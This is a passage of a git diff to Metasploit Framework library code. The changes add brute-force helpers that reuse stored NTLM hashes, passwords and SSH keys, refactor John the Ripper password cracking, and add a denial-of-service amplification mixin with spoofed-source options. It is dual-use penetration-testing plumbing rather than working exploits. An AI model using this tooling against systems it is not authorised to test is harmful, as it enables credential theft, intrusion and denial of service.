true end + end - # Initialize the user module search path - if (Msf::Config.user_module_directory) - self.modules.add_module_path(Msf::Config.user_module_directory, opts) - end + private - # If additional module paths have been defined globally, then load them. - # They should be separated by semi-colons. - if self.datastore['MsfModulePaths'] - self.datastore['MsfModulePaths'].split(";").each { |path| - self.modules.add_module_path(path, opts) - } + # Add directories `engine.paths['modules']` from `engine`. + # + # @param engine [Rails::Engine] a rails engine or application + # @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths} + # @return [void] + def add_engine_module_paths(engine, options={}) + modules_paths = engine.paths['modules'] + + if modules_paths + modules_directories = modules_paths.existent_directories + + modules_directories.each do |modules_directory| + modules.add_module_path(modules_directory, options) + end end end end diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 0c2fe2409c..7b44b365b4 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -18,6 +18,16 @@ require 'rex' require 'rex/ui' module Msf + autoload :Author, 'msf/core/author' + autoload :Platform, 'msf/core/platform' + autoload :Reference, 'msf/core/reference' + autoload :SiteReference, 'msf/core/site_reference' + autoload :Target, 'msf/core/target' + + # + # Constants + # + LogSource = "core" end @@ -60,6 +70,10 @@ require 'msf/core/post' # Custom HTTP Modules require 'msf/http/wordpress' require 'msf/http/typo3' +require 'msf/http/jboss' + +# Kerberos Support +require 'msf/kerberos/client' # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/author.rb b/lib/msf/core/author.rb new file mode 100644 index 0000000000..2525d822a3 --- /dev/null +++ b/lib/msf/core/author.rb @@ -0,0 +1,179 @@ +# -*- coding: binary -*- +require 'msf/core' + +### +# +# An author of a piece of code in either the framework, a module, a script, +# or something entirely unrelated. +# +### +class Msf::Author + + # + # Constants + # + + # A hash that maps known author names to email addresses + KNOWN = { + 'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com', + 'anonymous' => 'Unknown', + 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', + 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', + 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', + 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', + 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', + 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', + 'et' => 'et' + 0x40.chr + 'metasploit.com', + 'Christian Mehlmauer' => 'FireFart' + 0x40.chr + 'gmail.com', + 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', + 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', + 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', + 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', + 'joev' => 'joev' + 0x40.chr + 'metasploit.com', + 'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com', + 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', + 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', + 'MC' => 'mc' + 0x40.chr + 'metasploit.com', + 'Ben Campbell' => 'eat_meatballs' + 0x40.chr + 'hotmail.co.uk', + 'msmith' => 'msmith' + 0x40.chr + 'metasploit.com', + 'mubix' => 'mubix' + 0x40.chr + 'hak5.org', + 'natron' => 'natron' + 0x40.chr + 'metasploit.com', + 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', + 'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au', + 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', + 'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com', + 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', + 'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com', + 'skape' => 'mmiller' + 0x40.chr + 'hick.org', + 'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl', + 'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com', + 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', + 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', + 'todb' => 'todb' + 0x40.chr + 'metasploit.com', + 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', + 'wvu' => 'wvu' + 0x40.chr + 'metasploit.com' + } + + # + # Class Methods + # + + # Parses an {Author} instance from the specified string. + # + # @param str [String] the String to parse an Author instance from + # @return [Author] a valid {Author} instance + # @return nil if `str` is not the correct format + def self.from_s(str) + instance = self.new + + # If the serialization fails... + if instance.from_s(str) == true + instance + else + nil + end + end + + # Normalizes a single {Author} reference or an Array of {Author} references + # to an Array of {Author} references. + # + # @param src [Author, Array<Author>] a single {Author} or an Array of {Author} instances + # @return [Array<Author>] an Array of {Author} instances + def self.transform(src) + Rex::Transformer.transform(src, Array, [ self ], 'Author') + end + + # Constructs an {Author} from a given `name` and `email` + # + # @param name [String] the author's name + # @param email [String] the author's email + def initialize(name = nil, email = nil) + self.name = name + self.email = email || KNOWN[name] + end + + # + # Instance Attributes + # + + # @!attribute email + # An optional email associated with this {Author}. + # + # @return [String, nil] + attr_accessor :email + + # @!attribute name + # The name associated with this {Author}. + # + # @return [String] + attr_reader :name + + # + # Instance Methods + # + + # @return [Boolean] whether the {Author} instances are equal + def ==(tgt) + tgt.to_s == to_s + end + + # Serialize the {Author} instance to a string of the form `name` or `name <a@b.com>` + # + # @return [String] serialized {Author} + def to_s + str = "#{name}" + if (email and not email.empty?) + str += " <#{email}>" + end + str + end + + + # Parses {Author} details from the supplied string which may + # be of the form `name` or `name <a@b.com>` + # + # @param str [String] the String to parse from + # @return [Boolean] the translation succeeded + def from_s(str) + + # Supported formats: + # known_name + # user [at/@] host [dot/.] tld + # Name <user [at/@] host [dot/.] tld> + + if str.present? + if ((m = str.match(/^\s*([^<]+)<([^>]+)>\s*$/))) + self.name = m[1].sub(/<.*/, '') + self.email = m[2].sub(/\s*\[at\]\s*/, '@').sub(/\s*\[dot\]\s*/, '.') + else + if (KNOWN[str]) + self.email = KNOWN[str] + self.name = str + else + self.email = str.sub(/\s*\[at\]\s*/, '@').sub(/\s*\[dot\]\s*/, '.').gsub(/^<|>$/, '') + m = self.email.match(/([^@]+)@/) + self.name = m ? m[1] : nil + if !(self.email and self.email.index('@')) + self.name = self.email + self.email = '' + end + end + end + end + + self.name.strip! if self.name.present? + + # The parse succeeds only when a name is found + self.name.present? + end + + # Sets the name of the author and updates the email if it's a known author. + # @param name [String] the name to set + def name=(name) + if KNOWN.has_key?(name) + self.email = KNOWN[name] + end + @name = name + end + +end diff --git a/lib/msf/core/auxiliary.rb b/lib/msf/core/auxiliary.rb index 44aa6329c3..c244724fd3 100644 --- a/lib/msf/core/auxiliary.rb +++ b/lib/msf/core/auxiliary.rb @@ -21,14 +21,14 @@ class Auxiliary < Msf::Module # Returns MODULE_AUX to indicate that this is an auxiliary module. # def self.type - MODULE_AUX + Msf::MODULE_AUX end # # Returns MODULE_AUX to indicate that this is an auxiliary module. # def type - MODULE_AUX + Msf::MODULE_AUX end # diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index 2570106243..0ec74739b7 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -20,8 +20,8 @@ module Auxiliary::AuthBrute OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]), OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]), OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]), - OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]), - OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]), + OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", false]), + OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]), OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",false]), OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]), OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]), @@ -49,6 +49,107 @@ module Auxiliary::AuthBrute @@max_per_service = nil end + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'ntlm_hash' + # + # @yieldparam [Metasploit::Credential::Core] + def each_ntlm_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'password' + # + # @yieldparam [Metasploit::Credential::Core] + def each_password_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'ssh_key' + # + # @yieldparam [Metasploit::Credential::Core] + def each_ssh_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Checks whether we should be adding creds from the DB to a CredCollection + # + # @return [TrueClass] if any of the datastore options for db creds are selected and the db is active + # @return [FalseClass] if none of the datastore options are selected OR the db is not active + def prepend_db_creds? + (datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active + end + + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param cred_collection [Metasploit::Framework::CredentialCollection] + # the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_hashes(cred_collection) + if prepend_db_creds? + each_ntlm_cred do |cred| + process_cred_for_collection(cred_collection,cred) + end + end + cred_collection + end + + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param cred_collection [Metasploit::Framework::CredentialCollection] + # the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_keys(cred_collection) + if prepend_db_creds? + each_ssh_cred do |cred| + process_cred_for_collection(cred_collection,cred) + end + end + cred_collection + end + + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param cred_collection [Metasploit::Framework::CredentialCollection] + # the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_passwords(cred_collection) + if prepend_db_creds? + each_password_cred do |cred| + process_cred_for_collection(cred_collection,cred) + end + end + cred_collection + end + + # Takes a {Metasploit::Credential::Core} and converts it into a + # {Metasploit::Framework::Credential} and processes it into the + # {Metasploit::Framework::CredentialCollection} as dictated by the + # selected datastore options. + # + # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to + # @param [Metasploit::Credential::Core] the Credential Core to process + def process_cred_for_collection(cred_collection, cred) + msf_cred = cred.to_credential + cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS'] + cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS'] + cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS'] + end + + # Checks all three files for usernames and passwords, and combines them into # one credential list to apply against the supplied block. The block (usually # something like do_login(user,pass) ) is responsible for actually recording @@ -330,6 +431,9 @@ module Auxiliary::AuthBrute end creds = [ [], [], [], [] ] # userpass, pass, user, rest + remaining_pairs = combined_array.length # counter for our occasional output + interval = 60 # seconds between each remaining pair message reported to user + next_message_time = Time.now + interval # initial timing interval for user message # Move datastore['USERNAME'] and datastore['PASSWORD'] to the front of the list. # Note that we cannot tell the user intention if USERNAME or PASSWORD is blank -- # maybe (and it's often) they wanted a blank. One more credential won't kill @@ -344,6 +448,14 @@ module Auxiliary::AuthBrute else creds[3] << pair end + if Time.now > next_message_time + print_brute( + :level => :vstatus, + :msg => "Pair list is still building with #{remaining_pairs} pairs left to process" + ) + next_message_time = Time.now + interval + end + remaining_pairs -= 1 end return creds[0] + creds[1] + creds[2] + creds[3] end diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 74b8ccc14b..2517d900db 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -44,7 +44,7 @@ module Auxiliary::HttpCrawler OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]), OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL23', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL23', 'SSL3', 'TLS1']]), ], self.class ) diff --git a/lib/msf/core/auxiliary/drdos.rb b/lib/msf/core/auxiliary/drdos.rb new file mode 100644 index 0000000000..ddf1ca8fdf --- /dev/null +++ b/lib/msf/core/auxiliary/drdos.rb @@ -0,0 +1,67 @@ +# -*- coding: binary -*- +module Msf + +### +# +# This module provides methods for Distributed Reflective Denial of Service (DRDoS) attacks +# +### +module Auxiliary::DRDoS + + def initialize(info = {}) + super + register_advanced_options( + [ + OptAddress.new('SRCIP', [false, 'Use this source IP']), + OptInt.new('NUM_REQUESTS', [false, 'Number of requests to send', 1]), + ], self.class) + end + + def setup + super + if spoofed? && datastore['NUM_REQUESTS'] < 1 + raise Msf::OptionValidateError.new(['NUM_REQUESTS']), 'The number of requests must be >= 1' + end + end + + def prove_amplification(response_map) + vulnerable = false + proofs = [] + response_map.each do |request, responses| + responses ||= [] + this_proof = '' + + # compute packet amplification + if responses.size > 1 + vulnerable = true + this_proof += "#{responses.size}x packet amplification" + else + this_proof += 'No packet amplification' + end + + this_proof += ' and ' + + # compute bandwidth amplification + total_size = responses.map(&:size).reduce(:+) + bandwidth_amplification = total_size - request.size + if bandwidth_amplification > 0 + vulnerable = true + multiplier = total_size / request.size + this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification" + else + this_proof += 'no bandwidth amplification' + end + + # TODO (maybe): show the request and responses in more detail? + proofs << this_proof + end + + [ vulnerable, proofs.join(', ') ] + end + + def spoofed? + !datastore['SRCIP'].nil? + end + +end +end diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index 65c35736bd..f1af818f8c 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -2,7 +2,8 @@ require 'open3' require 'fileutils' require 'rex/proto/ntlm/crypt' - +require 'metasploit/framework/jtr/cracker' +require 'metasploit/framework/jtr/wordlist' module Msf @@ -24,244 +25,29 @@ module Auxiliary::JohnTheRipper register_options( [ - OptPath.new('JOHN_BASE', [false, 'The directory containing John the Ripper (src, run, doc)']), - OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), - OptPath.new('Wordlist', [false, 'The path to an optional Wordlist']), - OptBool.new('Munge',[false, 'Munge the Wordlist (Slower)', false]) + OptPath.new('CONFIG', [false, 'The path to a John config file to use instead of the default']), + OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), + OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']), + OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), + OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]), + OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), + OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), + OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), + OptBool.new('USE_DB_INFO', [false, 'Use looted database schema info to seed the wordlist', true]), + OptBool.new('USE_DEFAULT_WORDLIST', [false, 'Use the default metasploit wordlist', true]), + OptBool.new('USE_HOSTNAMES', [false, 'Seed the wordlist with hostnames from the workspace', true]), + OptBool.new('USE_ROOT_WORDS', [false, 'Use the Common Root Words Wordlist', true]) ], Msf::Auxiliary::JohnTheRipper ) - @run_path = nil - @john_path = ::File.join(Msf::Config.data_directory, "john") - - autodetect_platform - end - - # @return [String] the run path instance variable if the platform is detectable, nil otherwise. - def autodetect_platform - return @run_path if @run_path - cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") - if File.directory?(cpuinfo_base) - data = nil - - case ::RUBY_PLATFORM - when /mingw|cygwin|mswin/ - fname = "#{cpuinfo_base}/cpuinfo.exe" - if File.exists?(fname) and File.executable?(fname) - data = %x{"#{fname}"} rescue nil - end - case data - when /sse2/ - @run_path ||= "run.win32.sse2/john.exe" - when /mmx/ - @run_path ||= "run.win32.mmx/john.exe" - else - @run_path ||= "run.win32.any/john.exe" - end - when /x86_64-linux/ - fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" - if File.exists? fname - ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} rescue nil - end - case data - when /mmx/ - @run_path ||= "run.linux.x64.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - when /i[\d]86-linux/ - fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" - if File.exists? fname - ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} rescue nil - end - case data - when /sse2/ - @run_path ||= "run.linux.x86.sse2/john" - when /mmx/ - @run_path ||= "run.linux.x86.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - end - end - - return @run_path - end - - def john_session_id - @session_id ||= ::Rex::Text.rand_text_alphanumeric(8) - end - - def john_pot_file - ::File.join( ::Msf::Config.config_directory, "john.pot" ) - end - - def john_cracked_passwords - ret = {} - return ret if not ::File.exist?(john_pot_file) - ::File.open(john_pot_file, "rb") do |fd| - fd.each_line do |line| - hash,clear = line.sub(/\r?\n$/, '').split(",", 2) - ret[hash] = clear - end - end - ret - end - - def john_show_passwords(hfile, format=nil) - res = {:cracked => 0, :uncracked => 0, :users => {} } - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return res - end - - pot = john_pot_file - conf = ::File.join(john_base_path, "confs", "john.conf") - - cmd = [ john_command, "--show", "--conf=#{conf}", "--pot=#{pot}", hfile] - - if format - cmd << "--format=" + format - end - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - line.chomp! - print_status(line) - if line =~ /(\d+) password hash(es)* cracked, (\d+) left/m - res[:cracked] = $1.to_i - res[:uncracked] = $2.to_i - end - - bits = line.split(':', -1) - - # If the password had : characters in it, put them back together - while bits.length > 7 - bits[1,2] = bits[1,2].join(":") - end - next if not bits[2] - - if (format== 'lm' or format == 'nt') - res[ :users ][ bits[0] ] = bits[1] - else - bits.last.chomp! - res[ :users ][ bits[0] ] = bits.drop(1) - end - - end - end - res - end - - def john_unshadow(passwd_file,shadow_file) - - retval="" - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return nil - end - - if File.exists?(passwd_file) - unless File.readable?(passwd_file) - print_error("We do not have permission to read #{passwd_file}") - return nil - end - else - print_error("File does not exist: #{passwd_file}") - return nil - end - - if File.exists?(shadow_file) - unless File.readable?(shadow_file) - print_error("We do not have permission to read #{shadow_file}") - return nil - end - else - print_error("File does not exist: #{shadow_file}") - return nil - end - - - cmd = [ john_command.gsub(/john$/, "unshadow"), passwd_file , shadow_file ] - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - retval << line - end - end - return retval - end - - def john_wordlist_path - # We ship it under wordlists/ - path = ::File.join(john_base_path, "wordlists", "password.lst") - # magnumripper/JohnTheRipper repo keeps it under run/ - unless ::File.file? path - path = ::File.join(john_base_path, "run", "password.lst") - end - - path - end - - def john_binary_path - path = nil - if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) - path = datastore['JOHN_PATH'] - ::FileUtils.chmod(0755, path) rescue nil - return path - end - - if not @run_path - if ::RUBY_PLATFORM =~ /mingw|cygwin|mswin/ - ::File.join(john_base_path, "john.exe") - else - path = ::File.join(john_base_path, "john") - ::FileUtils.chmod(0755, path) rescue nil - end - else - path = ::File.join(john_base_path, @run_path) - ::FileUtils.chmod(0755, path) rescue nil - end - - if path and ::File.exists?(path) - return path - end - - path = Rex::FileUtils.find_full_path("john") || - Rex::FileUtils.find_full_path("john.exe") - end - - def john_base_path - if datastore['JOHN_BASE'] and ::File.directory?(datastore['JOHN_BASE']) - return datastore['JOHN_BASE'] - end - if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) - return ::File.dirname( datastore['JOHN_PATH'] ) - end - @john_path - end - - def john_expand_word(str) - res = [str] - str.split(/\W+/) {|w| res << w } - res.uniq end + # @param pwd [String] Password recovered from cracking an LM hash + # @param hash [String] NTLM hash for this password + # @return [String] `pwd` converted to the correct case to match the + # given NTLM hash + # @return [nil] if no case matches the NT hash. This can happen when + # `pwd` came from a john run that only cracked half of the LM hash def john_lm_upper_to_ntlm(pwd, hash) pwd = pwd.upcase hash = hash.upcase @@ -274,179 +60,41 @@ module Auxiliary::JohnTheRipper end - def john_crack(hfile, opts={}) - - res = {:cracked => 0, :uncracked => 0, :users => {} } - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return nil - end - - # Don't bother making a log file, we'd just have to rm it when we're - # done anyway. - cmd = [ john_command, "--session=" + john_session_id, "--nolog"] - - if opts[:conf] - cmd << ( "--conf=" + opts[:conf] ) - else - cmd << ( "--conf=" + ::File.join(john_base_path, "confs", "john.conf") ) - end - - if opts[:pot] - cmd << ( "--pot=" + opts[:pot] ) - else - cmd << ( "--pot=" + john_pot_file ) - end - - if opts[:format] - cmd << ( "--format=" + opts[:format] ) - end - - if opts[:wordlist] - cmd << ( "--wordlist=" + opts[:wordlist] ) - end - - if opts[:incremental] - cmd << ( "--incremental=" + opts[:incremental] ) - end - - if opts[:single] - cmd << ( "--single=" + opts[:single] ) - end - - if opts[:rules] - cmd << ( "--rules=" + opts[:rules] ) - end - - cmd << hfile - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - print_status("Output: #{line.strip}") - end - end - - res + # This method creates a new {Metasploit::Framework::JtR::Cracker} and populates + # some of the attributes based on the module datastore options. + # + # @return [nilClass] if there is no active framework db connection + # @return [Metasploit::Framework::JtR::Cracker] if it successfully creates a JtR Cracker object + def new_john_cracker + return nil unless framework.db.active + Metasploit::Framework::JtR::Cracker.new( + config: datastore['CONFIG'], + john_path: datastore['JOHN_PATH'], + max_runtime: datastore['ITERATION_TIMEOUT'], + pot: datastore['POT'], + wordlist: datastore['CUSTOM_WORDLIST'] + ) end - def build_seed - - seed = [] - #Seed the wordlist with Database , Table, and Instance Names - - count = 0 - schemas = myworkspace.notes.where('ntype like ?', '%.schema%') - unless schemas.nil? or schemas.empty? - schemas.each do |anote| - seed << anote.data['DBName'] - count += 1 - anote.data['Tables'].each do |table| - seed << table['TableName'] - count += 1 - table['Columns'].each do |column| - seed << column['ColumnName'] - count += 1 - end - end - end - end - print_status "Seeding wordlist with DB schema info... #{count} words added" - count = 0 - - instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']) - unless instances.nil? or instances.empty? - instances.each do |anote| - seed << anote.data['InstanceName'] - count += 1 - end - end - print_status "Seeding with MSSQL Instance Names....#{count} words added" - count = 0 - - # Seed the wordlist with usernames, passwords, and hostnames - - myworkspace.hosts.find(:all).each do |o| - if o.name - seed << john_expand_word( o.name ) - count += 1 - end - end - print_status "Seeding with hostnames....#{count} words added" - count = 0 - - - myworkspace.creds.each do |o| - if o.user - seed << john_expand_word( o.user ) - count +=1 - end - if (o.pass and o.ptype !~ /hash/) - seed << john_expand_word( o.pass ) - count += 1 - end - end - print_status "Seeding with found credentials....#{count} words added" - count = 0 - - # Grab any known passwords out of the john.pot file - john_cracked_passwords.values do |v| - seed << v - count += 1 - end - print_status "Seeding with cracked passwords from John....#{count} words added" - count = 0 - - #Grab the default John Wordlist - john = File.open(john_wordlist_path, "rb") - john.each_line do |line| - seed << line.chomp - count += 1 - end - print_status "Seeding with default John wordlist...#{count} words added" - count = 0 - - if datastore['Wordlist'] - wordlist= File.open(datastore['Wordlist'], "rb") - wordlist.each_line do |line| - seed << line.chomp - count ==1 - end - print_status "Seeding from user supplied wordlist...#{count} words added" - end - - - - unless seed.empty? - seed.flatten! - seed.uniq! - if datastore['Munge'] - mungedseed=[] - seed.each do |word| - munged = word.gsub(/[sS]/, "$").gsub(/[aA]/,"@").gsub(/[oO]/,"0") - mungedseed << munged - munged.gsub!(/[eE]/, "3") - munged.gsub!(/[tT]/, "7") - mungedseed << munged - end - print_status "Adding #{mungedseed.count} words from munging..." - seed << mungedseed - seed.flatten! - seed.uniq! - end - end - print_status "De-duping the wordlist...." - - print_status("Wordlist Seeded with #{seed.length} words") - - return seed - + # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data + # out to a file and returns the {rex::quickfile} object. + # + # @return [nilClass] if there is no active framework db connection + # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file + def wordlist_file + return nil unless framework.db.active + wordlist = Metasploit::Framework::JtR::Wordlist.new( + custom_wordlist: datastore['CUSTOM_WORDLIST'], + mutate: datastore['MUTATE'], + use_creds: datastore['USE_CREDS'], + use_db_info: datastore['USE_DB_INFO'], + use_default_wordlist: datastore['USE_DEFAULT_WORDLIST'], + use_hostnames: datastore['USE_HOSTNAMES'], + use_common_root: datastore['USE_ROOT_WORDS'], + workspace: myworkspace + ) + wordlist.to_file end + end end diff --git a/lib/msf/core/auxiliary/kademlia.rb b/lib/msf/core/auxiliary/kademlia.rb new file mode 100644 index 0000000000..d23d07ed50 --- /dev/null +++ b/lib/msf/core/auxiliary/kademlia.rb @@ -0,0 +1,15 @@ +# -*- coding: binary -*- + +require 'rex/proto/kademlia' + +module Msf + +### +# +# This module provides methods for working with Kademlia +# +### +module Auxiliary::Kademlia + include Rex::Proto::Kademlia +end +end diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index a20642ab91..6793162658 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -21,6 +21,10 @@ module Auxiliary::Login def initialize(info = {}) super + create_login_ivars + end + + def create_login_ivars # Appended to by each read and gets reset after each send. Doing it # this way lets us deal with partial reads in the middle of expect # strings, e.g., the first recv returns "Pa" and the second returns diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index afa9ff5928..c88cba7dd9 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -5,6 +5,7 @@ # require 'msf/core/auxiliary/auth_brute' require 'msf/core/auxiliary/dos' +require 'msf/core/auxiliary/drdos' require 'msf/core/auxiliary/fuzzer' require 'msf/core/auxiliary/report' require 'msf/core/auxiliary/scanner' @@ -18,7 +19,9 @@ require 'msf/core/auxiliary/commandshell' require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' +require 'msf/core/auxiliary/kademlia' require 'msf/core/auxiliary/nmap' -require 'msf/core/auxiliary/jtr' +require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' +require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' diff --git a/lib/msf/core/auxiliary/natpmp.rb b/lib/msf/core/auxiliary/natpmp.rb new file mode 100644 index 0000000000..b3d425b589 --- /dev/null +++ b/lib/msf/core/auxiliary/natpmp.rb @@ -0,0 +1,37 @@ +# -*- coding: binary -*- +require 'rex/proto/natpmp' + +module Msf + +### +# +# This module provides methods for working with NAT-PMP +# +### +module Auxiliary::NATPMP + + include Auxiliary::Scanner + include Rex::Proto::NATPMP + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), + Opt::CHOST, + OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded (set to 0 to destroy a mapping)", 3600000]), + OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]) + ], + self.class + ) + end + + def lifetime + @lifetime ||= datastore['LIFETIME'] + end + + def protocol + @protocol ||= datastore['PROTOCOL'] + end +end +end diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb index 8d60cd9a12..fd32b94b0d 100644 --- a/lib/msf/core/auxiliary/nmap.rb +++ b/lib/msf/core/auxiliary/nmap.rb @@ -184,7 +184,6 @@ def nmap_validate_rports if datastore['RPORT'] && (datastore['RPORT'].kind_of?(Fixnum) || !datastore['RPORT'].empty?) return true end - bad_port = false if rports.nil? || rports.empty? print_error "Missing RPORTS" return false @@ -193,14 +192,10 @@ def nmap_validate_rports if r =~ /^([TU]:)?[0-9]*-?[0-9]*$/ next else - bad_port = true - break + print_error "Malformed nmap port: #{r}" + return false end end - if bad_port - print_error "Malformed nmap port: #{r}" - return false - end print_status "Using RPORTS range #{datastore['RPORTS']}" return true end @@ -246,7 +241,7 @@ def nmap_hosts(&block) fh = self.nmap_log[0] nmap_data = fh.read(fh.stat.size) # fh.unlink - if 